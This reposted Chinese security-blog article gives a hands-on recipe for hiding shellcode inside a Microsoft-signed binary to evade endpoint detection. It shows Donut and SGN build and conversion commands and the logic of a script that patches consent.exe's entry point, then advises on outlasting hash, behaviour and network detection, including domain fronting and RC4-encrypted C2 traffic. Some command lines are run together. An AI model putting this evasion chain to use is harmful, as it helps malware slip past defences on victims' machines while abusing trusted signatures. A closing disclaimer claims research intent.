Donut+SGN利用微软签名进行静态特征混淆与终端检测规避

admin 2026-03-03 07:39:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种利用Donut与SGN工具结合微软签名白文件实现终端检测规避的技术。通过Patch高信誉白文件注入经编码的ShellCode,在保留数字签名有效性的同时实现内存无落地执行。文中详述了环境配置、转换编码及文件Patch的全流程操作,并深入分析了样本在哈希、行为及网络特征维度的存活周期与对抗策略,具有较强的红队实战价值。 综合评分: 88 文章分类: 红队,渗透测试,二进制安全,安全工具,实战经验


cover_image

Donut+SGN 利用微软签名进行静态特征混淆与终端检测规避

原创

网安武器库 网安武器库

网安武器库

2026年2月22日 14:16 山东

更多干货  点击蓝字 关注我们

注:本文仅供学习,坚决反对一切危害网络安全的行为。造成法律后果自行负责!

往期回顾

·FnOS GUI Exploit Tool:针对 FnOS 系统的综合漏洞利用工具

·ManSpider:一款黑客内网快速敏感信息搜集工具

·Web-Check:一款全面的web网站信息和漏洞扫描工具

·Super Xray:一款基于 Xray 的漏洞扫描工具

·upload_forge:CTF利器-文件上传漏洞扫描工具

·Havoc:现代化后渗透命令与控制(C2)工具

背景分析

      该免杀机制通过依托微软签名的高信誉白文件作为合法载体,仅对文件代码段或新增节区进行局部修改,在不破坏数字签名与系统信任判定的前提下完成代码植入;利用Donut将可执行文件转换为位置无关的 ShellCode,实现代码仅在内存中解密执行而不落地生成完整 PE 文件,规避静态文件检测;结合SGN 编码对 ShellCode 进行单字节异或加密并采用随机密钥,破坏静态特征并提升样本随机性,降低特征码匹配概率;为保证 Donut 正常解析 PE 结构,原始文件需保持无壳、无加密状态,从而在信任机制、内存执行与特征混淆的协同作用下实现对抗终端检测的目标。

配置及演示

donut 把 exe → shellcode

更新系统包

sudo apt update && sudo apt upgrade -y

安装编译依赖(gcc、make、mingw-w64、python3-pip等)

sudo apt install -y gcc make mingw-w64 python3 python3-pip python3-setuptools git

克隆 Donut 仓库并编译

git clone https://github.com/TheWover/donut.gitcd donutmake

sgn 编码

git clone https://github.com/EgeBalci/sgn

sudo apt install -y cargocd sgn && cargo build --release

转换

#原始 exe → shellcodedonut -f fscan.exe -o fscan.bin -a 2 -b 1   # -a 2:x64  -b 1:exit-thread#单字节 XOR 随机编码sgn/sgn -i fscan.bin -o work.bin -a 15      # -a 15: 15 轮编码,随机 key#Patch 到白文件(示例:consent.exe)python3 patch-white.py consent.exe work.bin 0x00424000 consent_patched.exe

patch-white.py 核心逻辑:

在 consent.exe 新增名为 .patch 的 Section;

将 work.bin 写进去;

修改入口点为 ShellCode,尾部 jmp 回原入口。

# 本地 VT 预检(不上传文件)virustotal.py consent_patched.exe --no-upload# 内存执行观察process-hacker → 属性 → .patch Section → 内存窗口可见解密过程

该免杀样本在不同检测维度下呈现差异化的存活周期与对抗策略:

      哈希黑名单维度下样本平均存活 0 至 24 小时,触发点为样本哈希值被云查杀平台上传并纳入黑名单,红队可通过每次版本发布时更换新编译器、随机化节区名称的方式规避;

      行为特征检测维度下样本存活周期为 6 至 48 小时,触发点为终端安全工具的内存扫描行为,需通过将 SGN 编码轮次提升至 15 次及以上,并植入 Sleep 函数混淆执行时序以降低行为特征被识别的概率;

      网络特征维度下样本存活周期为 1 至 7 天,触发点为恶意流量出网连接 C2 服务器,可采用域前置技术结合 RC4 算法对流量进行二次加密以隐匿网络特征;

      而签名失效维度无固定存活周期且无明确触发条件,核心特征为白文件的数字签名仍保持有效性,但文件哈希值因局部修改发生变更,该特性可维持系统对文件的信任判定,无需额外对抗操作。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安武器库 网安武器库 网安武器库《Donut+SGN 利用微软签名进行静态特征混淆与终端检测规避》

评论:0   参与:  0